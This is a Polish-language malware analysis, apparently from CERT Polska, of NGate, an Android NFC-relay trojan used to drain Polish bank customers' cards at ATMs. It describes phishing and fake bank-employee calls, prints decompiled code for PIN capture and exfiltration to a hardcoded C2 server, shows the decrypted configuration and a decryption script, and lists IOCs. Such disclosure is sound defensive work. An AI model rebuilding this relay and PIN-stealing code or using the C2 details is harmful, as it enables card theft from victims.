Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego oprogramowania powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.
Podstawowe informacje
Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.
Jak to działa?
Socjotechnika/phishing - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez files[.]fm/u/yfwsanu886

Telefon od "pracownika" banku - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.

W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.
Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.
Co znaleźliśmy w analizowanej próbce?
- Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).
- Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.
- Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:
- IP/port:
91.84.97.13:5653
- IP/port:
- Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.
Jak się chronić
- Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).
- Jeśli dzwoni do Ciebie Twój bank i informuje, że dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.
Analiza techniczna
Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:
Manifest:
- punkt startowy
<activity
android:name="rha.dev.p031me.SuperMain"
android:exported="true"
android:launchMode="singleTask"
android:screenOrientation="portrait"
android:configChanges="screenSize|screenLayout|orientation|keyboardHidden">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- uprawnienia
<uses-permission android:name="android.permission.NFC" android:required="true"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
- usługa HCE
<service android:name="rha.dev.me.nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>
- Przykładowa deklaracja AID (skrócona):
<host-apdu-service ...>
<aid-group android:category="payment" android:description="@string/app_name">
<aid-filter android:name="F001020304050607" />
</aid-group>
</host-apdu-service>
Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.
Start procesu
Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa rha.dev.me.util.Globals.
static {
System.loadLibrary("app"); //libapp.so
}
/* renamed from: a */
public static String m29a() {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.LAUNCHER");
List<ResolveInfo> queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0);
String packageName = f476b.getPackageName();
for (ResolveInfo resolveInfo : queryIntentActivities) {
if (resolveInfo.activityInfo.packageName.equals(packageName)) {
return resolveInfo.activityInfo.name;
}
}
return "rha.dev.me.SuperMain";
}
/* renamed from: b */
public static void m28b(Context context) {
f476b = context;
init(context);
loadNConfig(context, context.getAssets());
}
public static native void init(Context context);
public static native void loadNConfig(Context context, AssetManager assetManager);
public static native boolean reader();
public static native boolean vts();
Podstawowa logika aplikacji jest inicjowana przez System.loadLibrary(„app”);, które ładuje libapp.so do procesu. Ten natywny obiekt odpowiada za kluczowe etapy: najpierw wyprowadza 32-bajtowy klucz z SHA-256 certyfikatu podpisującego APK (DER). Za pomocą tego klucza odszyfrowuje on hex blob pobrany z zasobu assets/____ aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.
Warto zauważyć, że kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako wzorzec safeExit(). Konfiguracja jest uruchamiana przez metodę Java m28b(Context). Metoda ta najpierw wywołuje natywną metodę init(context) w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę loadNConfig(context, context.getAssets()) w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji m28b jest wywoływana bardzo wcześnie - albo z Application.onCreate(), albo z pierwszej Activity.onCreate() - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”.
Ponadto natywne flagi boolowskie reader() i vts() ujawniają bity konfiguracyjne (np. reader:=true, mode:=card), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i role NFC należy aktywować.
Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu
Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.
Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):
Zdekompilowana funkcja get_cert_sha(JNIEnv*, unsigned char* out) definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji PackageManager.getPackageInfo(..., GET_SIGNATURES). Następnie odczytuje Signature.toByteArray() i opakowuje wynik za pomocą CertificateFactory(„X.509”).generateCertificate(InputStream). Następnie wywołuje funkcję cert.getEncoded() i oblicza skrót za pomocą MessageDigest(„SHA-256”).digest(encodedCert). Na koniec kopiuje wynikowe 32 bajty do out.
Wniosek: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).
Dekryptowanie i parsowanie konfiguracji
AAssetManager_open("____", AASSET_MODE_BUFFER)- ładuje ASCII-hex blob zassets/____.hexToBytes()- zamiana na ciphertext binarny.- deszyfrowywanie XOR bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty):
c for (i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31]; - Parsuje tekst jawny linia po linii za pomocą
getline; każda linia musi mieć postaćkey := value; każda para jest wstawiana doconfigMapi rejestrowana:c I/AppCheck: Parsed host := 91.84.97.13 verifyCnf(env); jeśli coś się nie powiedzie → wywołaj JavasafeExit()(co wyłącza program uruchamiający).
Odszyfrowana konfiguracja dla analizowanej próbki::
host:=91.84.97.13
port:=5653
sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088
tls:=false
mode:=card
reader:=true
uniqueID:=395406
ttd:=1761668025
Reprodukcja offline
#apksigner verify --print-certs SGB.apk
#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709
import binascii, pathlib
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct = bytes.fromhex(pathlib.Path(r"\path\to\asset\____").read_text().strip())
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))
Otwarcie połączenia: host/port z JNI, protokół ramkowy
Łączność sieciowa jest zawarta w Transport i C0214a (połączenie i wątki). Uwaga: host/port pochodzą z JNI, tj. odszyfrowanej konfiguracji.
// rha.dev.p031me.net.transport.Transport (excerpt)
public abstract class Transport {
private final String f412a = host(); // JNI → "91.84.97.13"
private final int f413b = Integer.parseInt(port());// JNI → 5653
public static native String host();
public static native String port();
public boolean m67b() { // connect-once
if (f414c != null || f415d) return false;
f415d = true;
f414c = mo0d(f412a, f413b); // open socket
mo1c(); // TLS hook (unused if tls=false)
return true;
}
protected abstract Socket mo0d(String host, int port);
protected abstract void mo1c();
}
C0214a uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.
Wychodzące (client→server): len(4) | opcode(4) | body(len)
Przychodzące (server→client): len(4) | body(len) (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)
// p038y.C0256c — SendThread: exact wire format client→server
void mo2c() {
C0253c msg = (C0253c) this.f526b.m123d().take();
out.writeInt(msg.m6a().length); // int32 len (BE)
out.writeInt(msg.m5b()); // int32 opcode (BE)
out.write(msg.m6a()); // body
out.flush();
}
// p038y.C0255b — ReceiveThread: server→client is just length + bytes
void mo2c() {
int len = in.readInt();
if (len > 104857600) throw new IOException("Invalid protocol length");
byte[] body = new byte[len];
in.readFully(body);
this.f526b.m120g(body); // → NetMan.mo114b(byte[])
}
Wybór transportu (TCP vs TLS)
Aplikacja ukrywa tworzenie gniazd za Transport.d(host, port). Istnieją dwie implementacje:
// z/a.java — plain TCP used when tls=false
public final class a extends Transport {
@Override
protected Socket d(String host, int port) throws IOException {
return new Socket(host, port);
}
}
// z/b.java — TLS variant (not used in this sample)
public final class b extends Transport {
@Override
protected Socket d(String host, int port) throws IOException {
SSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault();
SSLSocket s = (SSLSocket) f.createSocket(host, port);
s.startHandshake(); // pinning/custom TrustManager appears elsewhere
return s;
}
}
Ramki są łatwe do podpisania na połączeniu, a ponieważ tls=false, payload jest w postaci zwykłego tekstu.
Dyspozytor: rola NetMan i historia opcode
NetMan koordynuje sesję: serializuje komunikaty wyższego poziomu (ServerData) i reaguje na odpowiedzi serwera. Można go traktować jako „mózg sesji”.
// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox
private void m150H(ServerData.EnumC0219b op, byte[] data) {
if (this.f402b == null) { /* queue until connected */ return; }
byte[] payload = new ServerData()
.m74g(op) // opcode
.m73h(sharedToken()) // JNI token
.m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER
: ServerData.EnumC0218a.TYPE_EMITTER)
.m75f(data != null ? data : new byte[0]) // data blob
.m71j(); // native serialize
this.f402b.m117j(Integer.parseInt(uniqueID()), payload); // → SendThread
}
Po stronie wejścia blob z serwera jest parsowany do ServerData (natywnie). NetMan obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).
public void mo114b(byte[] body) {
ServerData m = ServerData.m76e(body); // native parse
switch (m.m78c()) {
case OP_SYN: m150H(ServerData.EnumC0219b.OP_ACK, null); break;
case OP_PIN_VALID: InterfaceC0039c.f64h.mo184i(true); break;
case OP_PIN_INVALID: InterfaceC0039c.f64h.mo184i(false); break;
case OP_PSH: InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs
case OP_SHUTDOWN_EMITTER: m134s(); m138o(); break; // hide app & disconnect
// ...
}
m155C(); // schedule OP_PING every 7s
}
Rejestracja NFC: tryb czytnika
Chociaż plik APK zawiera odpowiednią usługę HCE (emulacja karty), odszyfrowana konfiguracja ustawia reader=true, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.
Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).
// p025m0.FragmentC0191s — shows card details once recognized
private void m245w(C0068c c) {
m248t(); // switch views
this.f332d.setRectNumber(c.m460c()); // PAN
this.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY
// pick scheme image by AID
this.f332d.setRectTypeImage(
m260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b()))
);
}
private int m260h(String hexAid) {
return hexAid.contains("A000000004") ? R.drawable.mc // Mastercard
: hexAid.contains("A000000003") ? R.drawable.visa_logo // Visa
: hexAid.contains("A000000658") ? R.drawable.logo_mir // MIR
: hexAid.contains("A000000333") ? R.drawable.union_pay_logo
: R.drawable.logo_empty;
}
Pod maską parser EMV wypełnia obiekt C0068c (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w CardData i wysyła komunikat OP_CARD_DISCOVERED:
// rha.dev.p031me.net.NetMan
public void m154D(byte[] bArr) {
m150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr);
}
Informacje przesyłane przez sieć są wyraźnie określone w CardData: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.
// rha.dev.p031me.net.c2s.CardData (excerpt)
public class CardData {
private List<String> cardAids;
private String cardNumber, expiration, pin;
private Boolean pinConfirmed;
public byte[] m87l() {
return toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]),
m95d(), m96c(), m94e()); // ← pin included
}
public native byte[] toBytesNative(String num, String[] aids,
String pin, String exp, boolean confirmed);
}
Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku
Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola EditText. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.
// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)
public class PinCodeField extends EditText {
class C0222b implements TextWatcher {
public void afterTextChanged(final Editable e) {
if (e.length() == PinCodeField.this.f429e) { // default 4
PinCodeField.this.postDelayed(() -> {
InterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN
}, 100L);
}
}
}
}
Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:
// rha.dev.p031me.net.NetMan
public void m153E(String str) {
m150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8));
}
Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie kod PIN opuścił już urządzenie. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.
Usługa HCE: dowód zdolności „emitera”
Mimo że ta próbka działa jako czytnik, zawiera w pełni zadeklarowaną usługę HostApduService z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.
<!-- res/xml/hce.xml -->
<host-apdu-service
android:description="@string/app_name"
android:requireDeviceUnlock="false"
android:apduServiceBanner="@mipmap/ic_launcher">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>
Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:
// rha.dev.p031me.nfc.hce.ApduService (excerpt)
public class ApduService extends HostApduService {
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + AbstractC0161b.m319a(apdu));
C0160a wrapped = new C0160a(false, false, apdu); // wrap APDU
C0009i bus = C0009i.m547n();
if (bus != null) bus.m545p(false, wrapped, this); // forward upstream
return new byte[0]; // pure relay
}
}
Dlaczego to ma znaczenie? - NGate może pełnić dwie role:: 1. Czytnik wersja, w której ofiara zczytuje swoją kartę, 2. Emiter telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia NFC relay.
Summary
NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane za pomocą phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je za pomocą prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.
Kluczowe wnioski
- Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.
- Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).
- Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.
- Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.
- Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.
IOC
2cee3f603679ed7e5f881588b2e78ddc
701e6905e1adf78e6c59ceedd93077f3
2cb20971a972055187a5d4ddb4668cc2
b0a5051df9db33b8a1ffa71742d4cb09
bcafd5c19ffa0e963143d068c8efda92
91.84.97.13:5653
files[.]fm/u/yfwsanu886
